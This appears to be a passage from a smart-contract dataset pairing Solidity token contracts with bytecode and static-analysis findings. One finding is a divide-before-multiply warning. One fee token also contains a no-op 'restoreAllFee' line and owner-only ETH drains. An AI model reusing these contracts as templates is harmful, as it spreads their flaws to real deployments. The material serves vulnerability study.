uint256 internal constant FLAG_DISABLE_UNISWAP_V2_DAI = 0x8000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_USDC = 0x10000000; uint256 internal constant FLAG_DISABLE_ALL_SPLIT_SOURCES = 0x20000000; uint256 internal constant FLAG_DISABLE_ALL_WRAP_SOURCES = 0x40000000; uint256 internal constant FLAG_DISABLE_CURVE_PAX = 0x80000000; uint256 internal constant FLAG_DISABLE_CURVE_RENBTC = 0x100000000; uint256 internal constant FLAG_DISABLE_CURVE_TBTC = 0x200000000; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDT = 0x400000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_WBTC = 0x800000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_TBTC = 0x1000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_RENBTC = 0x2000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_DFORCE_SWAP = 0x4000000000; uint256 internal constant FLAG_DISABLE_SHELL = 0x8000000000; uint256 internal constant FLAG_ENABLE_CHI_BURN = 0x10000000000; uint256 internal constant FLAG_DISABLE_MSTABLE_MUSD = 0x20000000000; uint256 internal constant FLAG_DISABLE_CURVE_SBTC = 0x40000000000; uint256 internal constant FLAG_DISABLE_DMM = 0x80000000000; uint256 internal constant FLAG_DISABLE_UNISWAP_ALL = 0x100000000000; uint256 internal constant FLAG_DISABLE_CURVE_ALL = 0x200000000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ALL = 0x400000000000; uint256 internal constant FLAG_DISABLE_SPLIT_RECALCULATION = 0x800000000000; uint256 internal constant FLAG_DISABLE_BALANCER_ALL = 0x1000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_1 = 0x2000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_2 = 0x4000000000000; uint256 internal constant FLAG_DISABLE_BALANCER_3 = 0x8000000000000; uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_UNISWAP_RESERVE = 0x10000000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_OASIS_RESERVE = 0x20000000000000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_KYBER_BANCOR_RESERVE = 0x40000000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_ENABLE_REFERRAL_GAS_SPONSORSHIP = 0x80000000000000; // Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_COMP = 0x100000000000000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_KYBER_ALL = 0x200000000000000; uint256 internal constant FLAG_DISABLE_KYBER_1 = 0x400000000000000; uint256 internal constant FLAG_DISABLE_KYBER_2 = 0x800000000000000; uint256 internal constant FLAG_DISABLE_KYBER_3 = 0x1000000000000000; uint256 internal constant FLAG_DISABLE_KYBER_4 = 0x2000000000000000; uint256 internal constant FLAG_ENABLE_CHI_BURN_BY_ORIGIN = 0x4000000000000000; uint256 internal constant FLAG_DISABLE_MOONISWAP_ALL = 0x8000000000000000; uint256 internal constant FLAG_DISABLE_MOONISWAP_ETH = 0x10000000000000000; uint256 internal constant FLAG_DISABLE_MOONISWAP_DAI = 0x20000000000000000; uint256 internal constant FLAG_DISABLE_MOONISWAP_USDC = 0x40000000000000000; uint256 internal constant FLAG_DISABLE_MOONISWAP_POOL_TOKEN = 0x80000000000000000; } contract IOneSplit is IOneSplitConsts { function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public view returns( uint256 returnAmount, uint256[] memory distribution ); function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags ) public payable returns(uint256 returnAmount); } contract IOneSplitMulti is IOneSplit { function getExpectedReturnWithGasMulti( IERC20[] memory tokens, uint256 amount, uint256[] memory parts, uint256[] memory flags, uint256[] memory destTokenEthPriceTimesGasPrices ) public view returns( uint256[] memory returnAmounts, uint256 estimateGasAmount, uint256[] memory distribution ); function swapMulti( IERC20[] memory tokens, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256[] memory flags ) public payable returns(uint256 returnAmount); }
0x6080604052600080fdfea265627a7a72315820e5708bca61f0a9cb2476d59d40779e98a33f2d639f34af3fa3d6ce825c5f109c64736f6c63430005110032
{"success": true, "error": null, "results": {}}
201
0x9b224aedbe16f24893093b461d49783e392ebc2a
pragma solidity >=0.6.0 <0.9.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract Nothing { using SafeMath for uint256; struct Lock { uint256 lockBalance; uint256 onceUnlockValue; uint lastUnlockTime; uint unlockInterval; } string public name = "Nothing"; string public symbol = "NO"; uint256 public totalSupply_ = 1000000000000e18; uint8 public decimals = 18; address public owner; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); mapping(address => uint256) public balances; mapping(address => Lock) public locks; mapping(address => mapping(address => uint256)) public allowed; constructor(address initAddress) public { balances[initAddress] = totalSupply_; owner = msg.sender; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner].add(locks[_owner].lockBalance); } function transferOwner(address _to) public returns (bool success) { require(msg.sender == owner); owner = _to; return true; } function _unlockIfRequired(address _owner) public returns (bool success) { Lock storage lock = locks[_owner]; if(lock.lockBalance != 0){ uint number = (now - lock.lastUnlockTime) / (lock.unlockInterval); if(number >= 1){ uint256 unlockValue = lock.onceUnlockValue.mul(number); if(unlockValue > lock.lockBalance){ unlockValue = lock.lockBalance; } lock.lockBalance = lock.lockBalance.sub(unlockValue); balances[_owner] = balances[_owner].add(unlockValue); lock.lastUnlockTime = lock.lastUnlockTime+lock.unlockInterval * number; } } return true; } function transfer(address _to, uint256 _value) public returns (bool success) { _unlockIfRequired(msg.sender); _unlockIfRequired(_to); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function _lockBalance(address _to,uint256 _lockValue,uint256 _onceUnlockValue,uint256 _unlockInterval) public returns (bool success){ require(msg.sender == owner); require(balances[_to] >= _lockValue); balances[_to] = balances[_to].sub(_lockValue); Lock storage lock = locks[_to]; lock.lockBalance = lock.lockBalance.add(_lockValue); lock.onceUnlockValue = _onceUnlockValue; if(lock.lastUnlockTime==0){ lock.lastUnlockTime = now; } lock.unlockInterval = _unlockInterval; return true; } function transferAndLock(address _to,uint256 _totalValue, uint256 _lockValue,uint256 _onceUnlockValue,uint256 _unlockInterval) public returns (bool success){ require(msg.sender == owner); require(_totalValue >= _lockValue); transfer(_to,_totalValue); _lockBalance(_to,_lockValue,_onceUnlockValue,_unlockInterval); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635c658165116100a25780638da5cb5b116100715780638da5cb5b146103b057806395d89b41146103d4578063a1bc468f146103dc578063a9059cbb14610402578063dd62ed3e1461042e57610116565b80635c658165146102d25780635de9a1371461030057806367ecb82d1461034c57806370a082311461038a57610116565b806323b872dd116100e957806323b872dd1461022a57806327e235e314610260578063313ce56714610286578063324536eb146102a45780634fb2e45d146102ac57610116565b806306fdde031461011b578063095ea7b314610198578063119b2e58146101d857806318160ddd14610210575b600080fd5b61012361045c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356104ea565b604080519115158252519081900360200190f35b6101c4600480360360808110156101ee57600080fd5b506001600160a01b038135169060208101359060408101359060600135610551565b610218610612565b60408051918252519081900360200190f35b6101c46004803603606081101561024057600080fd5b506001600160a01b03813581169160208101359091169060400135610618565b6102186004803603602081101561027657600080fd5b50356001600160a01b0316610768565b61028e61077a565b6040805160ff9092168252519081900360200190f35b610218610783565b6101c4600480360360208110156102c257600080fd5b50356001600160a01b0316610789565b610218600480360360408110156102e857600080fd5b506001600160a01b03813581169160200135166107d2565b6103266004803603602081101561031657600080fd5b50356001600160a01b03166107ef565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6101c4600480360360a081101561036257600080fd5b506001600160a01b038135169060208101359060408101359060608101359060800135610816565b610218600480360360208110156103a057600080fd5b50356001600160a01b0316610866565b6103b8610893565b604080516001600160a01b039092168252519081900360200190f35b6101236108a7565b6101c4600480360360208110156103f257600080fd5b50356001600160a01b0316610901565b6101c46004803603604081101561041857600080fd5b506001600160a01b0381351690602001356109cc565b6102186004803603604081101561044457600080fd5b506001600160a01b0381358116916020013516610aa2565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e25780601f106104b7576101008083540402835291602001916104e2565b820191906000526020600020905b8154815290600101906020018083116104c557829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60035460009061010090046001600160a01b0316331461057057600080fd5b6001600160a01b03851660009081526004602052604090205484111561059557600080fd5b6001600160a01b0385166000908152600460205260409020546105b89085610acd565b6001600160a01b038616600090815260046020908152604080832093909355600590522080546105e89086610b2a565b8155600181018490556002810154610601574260028201555b600301829055506001949350505050565b60025490565b6001600160a01b03831660009081526004602052604081205482111561063d57600080fd5b6001600160a01b038416600090815260066020908152604080832033845290915290205482111561066d57600080fd5b6001600160a01b0384166000908152600460205260409020546106909083610acd565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546106bf9083610b2a565b6001600160a01b0380851660009081526004602090815260408083209490945591871681526006825282812033825290915220546106fd9083610acd565b6001600160a01b03808616600081815260066020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60046020526000908152604090205481565b60035460ff1681565b60025481565b60035460009061010090046001600160a01b031633146107a857600080fd5b50600380546001600160a01b03831661010002610100600160a81b03199091161790556001919050565b600660209081526000928352604080842090915290825290205481565b60056020526000908152604090208054600182015460028301546003909301549192909184565b60035460009061010090046001600160a01b0316331461083557600080fd5b8385101561084257600080fd5b61084c86866109cc565b5061085986858585610551565b5060019695505050505050565b6001600160a01b038116600090815260056020908152604080832054600490925282205461054b91610b2a565b60035461010090046001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e25780601f106104b7576101008083540402835291602001916104e2565b6001600160a01b03811660009081526005602052604081208054156109c35760008160030154826002015442038161093557fe5b049050600181106109c15760018201546000906109529083610b8b565b8354909150811115610962575081545b825461096e9082610acd565b83556001600160a01b0385166000908152600460205260409020546109939082610b2a565b6001600160a01b03861660009081526004602052604090205550600382015460028301805491830290910190555b505b50600192915050565b60006109d733610901565b506109e183610901565b50336000908152600460205260409020548211156109fe57600080fd5b33600090815260046020526040902054610a189083610acd565b33600090815260046020526040808220929092556001600160a01b03851681522054610a449083610b2a565b6001600160a01b0384166000818152600460209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600082821115610b24576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610b84576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600082610b9a5750600061054b565b82820282848281610ba757fe5b0414610b845760405162461bcd60e51b8152600401808060200182810382526021815260200180610be56021913960400191505060405180910390fdfe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122077fcb5a003bce55d8bed09ee6c4bc81ccfe064a1303651f419c6a8a2bdbeca1864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
202
0xf9ca78fa0805c87c09d9524fa5b92d2bbc71458f
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; constructor() { address msgSender = _msgSender(); _owner = msgSender; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ERC20"; string private constant _symbol = "ERC20"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 7000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private cooldown; address payable private _buyBackBurn; address payable private _marketing; address payable private _development; address payable private _dev2; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool public tradeAllowed = false; bool private liquidityAdded = false; bool private inSwap = false; bool public swapEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _reflection = 5; uint256 private _fee = 7; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4) { _buyBackBurn = addr1; _dev2 = addr2; _marketing = addr3; _development = addr4; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketing] = true; _isExcludedFromFee[_development] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function enableTrading() external onlyOwner { require(liquidityAdded); tradeAllowed = true; } function setExcludedFrom(address _address, bool _bool) external onlyOwner{ _isExcludedFromFee[_address] = _bool; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; liquidityAdded = true; _maxTxAmount = 140000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradeAllowed); require(cooldown[to] < block.timestamp); uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.div(20)); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (30 seconds); _fee = 12; _reflection = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(amount <= balanceOf(uniswapV2Pair).div(20)); require(cooldown[from] < block.timestamp); uint initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint newBalance = address(this).balance; uint distributeETHBalance = newBalance.sub(initialBalance); if (distributeETHBalance > 0) { sendETHToFee(distributeETHBalance); } _fee = 17; _reflection = 3; } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function removeAllFee() private { if (_reflection == 0 && _fee == 0 ) return; _reflection = 0; _fee = 0; } function restoreAllFee() private { _reflection = 3; _fee = 12; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(amount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _fee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _marketing.transfer(amount.div(20).mul(6)); _development.transfer(amount.div(20).mul(3)); _buyBackBurn.transfer(amount.div(20).mul(10)); _dev2.transfer(amount.div(20)); } receive() external payable {} }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461039a578063c3c8cd80146103d3578063d543dbeb146103e8578063dd62ed3e14610412578063e8078d941461044d5761011f565b806370a08231146103285780637a32bae41461035b5780638a8c523c146103705780638da5cb5b1461038557806395d89b41146101245761011f565b8063313ce567116100e7578063313ce567146102655780633898e4a31461029057806349bd5a5e146102cd5780636ddd1713146102fe5780636fc3eaec146103135761011f565b806306fdde0314610124578063095ea7b3146101ae57806318160ddd146101fb57806323b872dd146102225761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610462565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ba57600080fd5b506101e7600480360360408110156101d157600080fd5b506001600160a01b038135169060200135610481565b604080519115158252519081900360200190f35b34801561020757600080fd5b5061021061049f565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101e76004803603606081101561024557600080fd5b506001600160a01b038135811691602081013590911690604001356104a5565b34801561027157600080fd5b5061027a61052c565b6040805160ff9092168252519081900360200190f35b34801561029c57600080fd5b506102cb600480360360408110156102b357600080fd5b506001600160a01b0381351690602001351515610531565b005b3480156102d957600080fd5b506102e26105b4565b604080516001600160a01b039092168252519081900360200190f35b34801561030a57600080fd5b506101e76105c3565b34801561031f57600080fd5b506102cb6105d3565b34801561033457600080fd5b506102106004803603602081101561034b57600080fd5b50356001600160a01b0316610638565b34801561036757600080fd5b506101e761065a565b34801561037c57600080fd5b506102cb61066a565b34801561039157600080fd5b506102e26106ed565b3480156103a657600080fd5b506101e7600480360360408110156103bd57600080fd5b506001600160a01b0381351690602001356106fc565b3480156103df57600080fd5b506102cb610710565b3480156103f457600080fd5b506102cb6004803603602081101561040b57600080fd5b503561077e565b34801561041e57600080fd5b506102106004803603604081101561043557600080fd5b506001600160a01b0381358116916020013516610885565b34801561045957600080fd5b506102cb6108b0565b604080518082019091526005815264045524332360dc1b602082015290565b600061049561048e610c31565b8484610c35565b5060015b92915050565b60035490565b60006104b2848484610d21565b610522846104be610c31565b61051d856040518060600160405280602881526020016119c7602891396001600160a01b038a166000908152600660205260408120906104fc610c31565b6001600160a01b0316815260208101919091526040016000205491906110a4565b610c35565b5060019392505050565b600990565b610539610c31565b6000546001600160a01b03908116911614610589576040805162461bcd60e51b815260206004820181905260248201526000805160206119ef833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b600e546001600160a01b031681565b600e54600160b81b